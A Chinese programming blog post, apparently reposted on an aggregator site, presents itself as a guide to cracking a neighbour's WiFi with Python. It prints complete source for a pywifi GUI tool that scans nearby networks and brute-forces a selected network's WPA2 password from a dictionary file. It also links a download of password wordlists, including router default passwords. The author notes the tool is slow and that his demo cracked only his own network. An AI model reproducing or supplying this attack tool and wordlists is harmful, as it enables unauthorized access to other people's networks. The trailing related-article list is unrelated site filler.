如何用Python破解邻居家的WIFI?

news2024/9/28 22:14:13

Hallo,各位小伙伴们大家好,这篇文章我们来干一件大事,如标题所示——用Python破解邻居家的WiFi。这是偶然间在码云上看到的一个项目,感觉蛮有趣的,分享给大家。文中用到的语料库和源码博主也会在文章最后贴给大家,大家也可以动手去实验一下,看看多久能够破解邻居家的WiFi,哈哈哈!

目录

一、Pywifi库介绍 

 二、语料库介绍

 三、程序运行结果

四、源代码及语料库下载地址

五、总结


一、Pywifi库介绍 

pywifi提供了一个跨平台的Python模块来操纵无线接口。在 Linux 上,需要运行 wpa_supplicant 来操纵 wifi 设备, 然后 PyWiFi 可以通过套接字与wpa_supplicant通信。在Windows上,Native Wifi组件附带Windows版本更高,比Windows XP SP2。具体这个库里面的运行原理我也不清楚,不过问题不大,只要会用就可以了。下载可以通过pip install Pywifi来下载,下图是它的官网:

 二、语料库介绍

语料库指经科学取样和加工的大规模电子文本库。 借助计算机分析工具,研究者可开展相关的语言理论及应用研究。 语料库是语料库语言学研究的基础资源,也是经验主义语言研究方法的主要资源。 应用于词典编纂,语言教学,传统语言研究,自然语言处理中基于统计或实例的研究等方面。

所以说,语料库决定了能否破解当前的Wifi密码,如果语料库里面有它的密码,只要足够长的时间,就一定能够破解,反之,就算再长时间,也无法破解。我下载的这个语料库,真的非常丰富,基本上所有的组合都在里面,有纯数字的,字母+数字组合的,常用的Wifi密码生日弱密码等等,甚至还有路由器的初始密码大全,文章最后我也会附上下载的地址。

 三、程序运行结果

这是码云上的一个开源项目,感兴趣的小伙伴可以点击:Python破解WiFi

我们运行程序,进入初始界面:

之后我们点击“搜索附近WiFi”,这样就能够搜索出附近的wifi了:

 

接下来点击“目录路径”选择语料库,从上述语料库中选择一个你喜欢的txt文件即可:

然后点击开始破解,程序就会把txt里面的文件一一代入,直到试出正确密码为止:

 

四、源代码及语料库下载地址

源代码:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@Project :自动化.py 
@File    :wifi破解.py
@IDE     :PyCharm 
@Author  :咋
@Date    :2022/12/14 21:40 
"""
# coding:utf-8

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox


class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name

        # 密码文件路径
        self.get_value = StringVar()

        # 获取破解wifi账号
        self.get_wifi_value = StringVar()

        # 获取wifi密码
        self.get_wifimm_value = StringVar()

        self.wifi = pywifi.PyWiFi()  # 抓取网卡接口
        self.iface = self.wifi.interfaces()[0]  # 抓取第一个无线网卡
        self.iface.disconnect()  # 测试链接断开所有链接
        time.sleep(1)  # 休眠1秒
        # 测试网卡是否属于断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())

    # 设置窗口
    def set_init_window(self):
        self.init_window_name.title("WIFI破解工具")
        self.init_window_name.geometry('+500+200')

        labelframe = LabelFrame(width=400, height=200, text="配置")
        labelframe.grid(column=0, row=0, padx=10, pady=10)

        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)

        self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)

        self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)

        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)

        self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)

        self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)

        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)

        self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)

        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,
                                                                                                  sticky=W)

        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)

        # 定义树形结构与滚动条
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)

        # 表格的标题
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")

        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")

        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    # 搜索wifi
    # cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT
    def scans_wifi_list(self):  # 扫描周围wifi列表
        # 开始扫描
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后获取扫描结果
        scanres = self.iface.scan_results()
        # 统计附近被发现的热点数量
        nums = len(scanres)
        print("数量: %s" % (nums))
        # print ("| %s |  %s |  %s | %s"%("WIFIID","SSID","BSSID","signal"))
        # 实际数据
        self.show_scans_wifi_list(scanres)
        return scanres

    # 显示wifi列表
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
            # print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))

    # 添加密码文件目录
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    # Treeview绑定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
        # print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

    # 读取密码字典,进行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        # print("文件路径:%s\n" %(self.getFilePath))
        self.get_wifissid = self.get_wifi_value.get()
        # print("ssid:%s\n" %(self.get_wifissid))
        self.pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = self.pwdfilehander.readline()
                # print("密码: %s " %(self.pwdStr))
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                # print("返回值:%s\n" %(self.bool1) )
                if self.bool1:
                    # print("密码正确:"+pwdStr
                    # res = "密码:%s 正确 \n"%self.pwdStr;
                    self.res = "===正确===  wifi名:%s  匹配密码:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '破解成功!!!')
                    print(self.res)
                    break
                else:
                    # print("密码:"+self.pwdStr+"错误")
                    self.res = "---错误--- wifi名:%s匹配密码:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                sleep(3)
            except:
                continue

    # 对wifi和密码进行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 创建wifi链接文件
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # wifi名称
        self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        self.profile.key = pwd_Str  # 密码
        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件
        self.iface.connect(self.tmp_profile)  # 链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 断开
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK


def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    # ui.scans_wifi_list()

    init_window.mainloop()


gui_start()

 语料库下载地址:

链接:https://pan.baidu.com/s/1pnypMZqMmGvXbkhflS-Zmg?pwd=a23r 
提取码:a23r

五、总结

如果大家试了这个源程序的话就知道这是个只适合娱乐的小项目,因为破解频率大概是三秒一次,8位纯数字密码就要有一亿种可能了,也就是需要三亿秒,也就是9年,也就是破解一个8位纯数字的密码最多需要九年,如果再加上字母,那简直不敢相信,如果密码是9位、10位呢?所以这个项目只能说理论上可行,实际破解真的很难,而且在破解的过程中,你自己的Wifi是关闭的。我之所以能够运行出来上面的程序,是因为我破解的是自己家的密码,手动在语料库中添加了密码,所有才会出现破解成功的弹窗,属于是自娱自乐,哈哈哈!所以:

如何用Python破解邻居家的WIFI?——用Pywifi!

什么时候能破解出来?——未知!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/96628.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Nginx教程(2)

文章目录2.1 Nginx解决跨域问题2.2 Nginx解决静态资源防盗链问题2.3 Nginx的模块化体系2.4 Nginx集群负载均衡2.5 四层负载均衡和七层负载均衡2.6 使用Nginx构建Tomcat集群2.1 Nginx解决跨域问题 所谓的跨域问题是指&#xff0c;比如我们现在我们访问域名www.imooc.com&#xf…

Linux从入门到进阶学习(Ⅳ):Linux实用操作

目录 1 实用技巧 2 软件安装 2.1 CentOs系统 2.2 Ubuntu系统 3 systemctl控制软件 4 软链接 5 日期和时区 5.1 查看日期 5.2 修改时区 5.3 时间校准 6 IP地址和主机名 6.1 IP地址与主机名 6.2 域名解析 7 固定IP地址 8 网络请求和下载 8.1 ping 8.2 wget 8.3…

2022 软件测试填空判断题【太原理工大学】

期末复习汇总&#xff0c;点这里&#xff01;https://blog.csdn.net/m0_52861684/category_12095266.html?spm1001.2014.3001.5482 目录 二、填空题 三、判断题 二、填空题 全是课本原话&#xff0c;不一定只填红色部分&#xff0c;可能下次就换了这句话的其它地方&#xff…

高比例风电电力系统储能运行及配置研究(pythonMatlab实现)

目录 1 概述 2 案例 3 Matlab实现 3.1 题目及分析 3.2 Matlab代码 4 七个题全部代码&#xff08;值得学习&#xff09; 1 概述 “碳中和”目标驱动下未来电力系统必将是高比例可再生能源电力系统&#xff0c;可再生能源输出功率强随机波动性导致系统运行中功率实时平…

比较器和浅谈深浅拷贝

比较器和浅谈深浅拷贝 文章目录比较器和浅谈深浅拷贝前言一.比较器方法一方法二二.深浅拷贝2.1 浅拷贝2.2 深拷贝2.3 总结前言 我们学习完接口以后&#xff0c;我在这里会介绍一个比较器的接口&#xff0c;至于他是来干嘛的&#xff0c;比较器顾名思义就是来比较的&#xff0c…

【安卓学习之常见问题】百度地图卫星地图精度不够

█ 【安卓学习之常见问题】百度地图卫星地图精度不够 █ 系列文章目录 提示&#xff1a;这里是收集了和文件分享有关的文章 【安卓学习之常见问题】android路径及文件问题 【安卓学习之常见问题】文件分享–文件不存在 【安卓学习之常见问题】自定义组件-刷新后跳到第一行 【…

修复 IDEA 使用 Gradle 构建出错时的乱码问题(maven项目转Gradle后乱码,并报“错误,找不到符号”)

在迁移一个基于 Maven 构建项目到基于 Gradle 进行构建, 迁移的过程中发现编译失败了, IDEA 的 Gradle build output 面板出现了许多方块型的乱码. 这样子&#xff1a; 解决步骤1&#xff1a; Step 1: 点击 IDEA 顶部菜单栏中的 HelpStep 2: 点击 Edit Custom VM OptionsStep…

天权信安catf1ag网络安全联合公开赛-AGCTFS战队 wp

文章目录webPOPEzloginFileuploadHistoryMISC简单隐写十位马CryptoEasyrsa疑惑ReverseCheckinPwnCheckinAngrweb POP 脚本 <?php class catf1ag1{ public $hzy; public $arr; public function __construct(){$this->hzy new catf1ag2;$this->arr [&apos;pp…

数据库实验二:安全性语言实验

实验二 安全性语言实验 实验 2.1 自主存取控制实验 1.实验目的 掌握自主存取控制权限的定义和维护方法。 2.实验内容和要求 定义用户、角色&#xff0c;分配权限给用户、角色&#xff0c;回收权限&#xff0c;以相应的用户名登录数据库验证权限分配是否正确。选择一个应用…

【GRU回归预测】基于matlab鲸鱼算法优化门控循环单元WOA-GRU神经网络回归预测(多输入单输出)【含Matlab源码 2285期】

⛄一、CNN-GRU数据预测 1 理论基础 1.1 CNN算法 负荷序列数据为一维数据&#xff0c;用一维卷积核对数据进行卷积处理&#xff0c;以获取数据的特征。 现设定卷积核的维度为3&#xff0c;移动步长为1&#xff0c;对输入数据进行卷积&#xff0c;以获得特征图图谱&#xff0c;即…

postgresql_internals-14 学习笔记(四)TOAST 超尺寸字段存储技术

TOAST之前一直没太弄懂&#xff0c;这一节单独拆出来学习。 一、 引入原因 pg中的每个行只能存在一个page里&#xff0c;不能跨page存储。因此对于一些非常长的行&#xff0c;就需要使用到 TOAST&#xff08;The OverSized Attribute Storage Technique&#xff0c;超尺寸字段存…

import sklearn出现报错,如何正确安装sklearn

目录 一&#xff1a;前言 二&#xff1a;解决方法 三&#xff1a;测试是否成功安装 一&#xff1a;前言 博主最早只使用下面安装命令&#xff0c;安装sklearn pip3 install sklearn -i https://pypi.mirrors.ustc.edu.cn/simple/ 但在pycharm编辑器&#xff0c;导入sklearn模…

更合理的 BBR

BBR 倾向于排空队列&#xff0c;甚至用特殊的 ProbeRTT 状态来排空自己产生的队列以测量 RTT&#xff0c;但这并不现实。一言以蔽之&#xff0c;BBR 无法实时跟踪现状&#xff0c;只靠拢理想。 若因背景流量造成 buffer 抖动&#xff0c;BBR 完全无法应对&#xff0c;其运行状…

手撕B树 | 二三查找树,B+树B*树你都会了吗? | 超详细的数据结构保姆级别实现

说在前面 今天给大家带来B树系列数据结构的讲解&#xff01; 博主为了这篇博客&#xff0c;做了很多准备&#xff0c;试了很多画图软件&#xff0c;就是为了让大家看得明白&#xff01;希望大家不要吝啬一键三连啊&#xff01;&#xff01; 前言 那么这里博主先安利一下一些…

C语言百日刷题第十六天

前言 今天是刷题第16天&#xff0c;放弃不难&#xff0c;但坚持一定很酷~ 五套C语言验报告题 C语言百日刷题第十六天前言试验报告&#xff08;一&#xff09;试验报告&#xff08;二&#xff09;分析功能编写程序试验报告&#xff08;三&#xff09;分析功能编写程序试验报…

自定义图表--随意拖拽拉伸功能的实现

随意拖拽、拉伸元素的功能是现在大热的自定义图表的重要组成功能,本文以最简单的视角搞懂随意拖拽、拉伸元素功能,完成这个功能需要先了解原生 drag && vue-ruler-tool && @smallwei/avue demo在线体验地址:zhao-wenchao110.gitee.io/customdrag 一、了解H…

高并发内存池

"花,就在火海里摇曳开着。" 一、技术介绍 (1)什么是池化技术&#xff1f; 池 是在计算机技术中经常使用的一种设计模式&#xff0c;其内涵在于&#xff1a;将程序中需要经常使用的核心资源先申请出来&#xff0c;放到一个池内,由程序自己管理。这样可以提高资源的使…

【单调栈】接雨水

文章目录双指针动态规划单调栈双指针 每一列雨水的高度&#xff0c;取决于该列 min(左侧最高的柱子高度&#xff0c;右侧最高的柱子高度) - 当前柱子高度 class Solution { public:int trap(vector<int>& height) {int n height.size();int ans 0;for(int i 1; …

ZY_BMP280大气压模块的使用和程序

在搞设计时&#xff0c;用到了大气压模块BMP280&#xff0c;这玩意也不难&#xff0c;主要是淘宝店老板特别der一问三不知&#xff0c;真服了&#xff0c;而且资料里面没有给例程&#xff0c;只有51的例程&#xff0c;利用IIC通信&#xff0c;而且给的例程里面&#xff0c;乱七…

数据库实验五:数据库设计实验

实验五 数据库设计实验 1.实验目的 ​ 掌握数据库设计基本方法及数据库设计工具。 2.实验内容和要求 ​ 掌握数据库设计基本步骤&#xff0c;包括数据库概念结构设计、逻辑结构设计&#xff0c;物理结构设计&#xff0c;数据库模式SQL语句生成。能够使用数据库设计工具进行…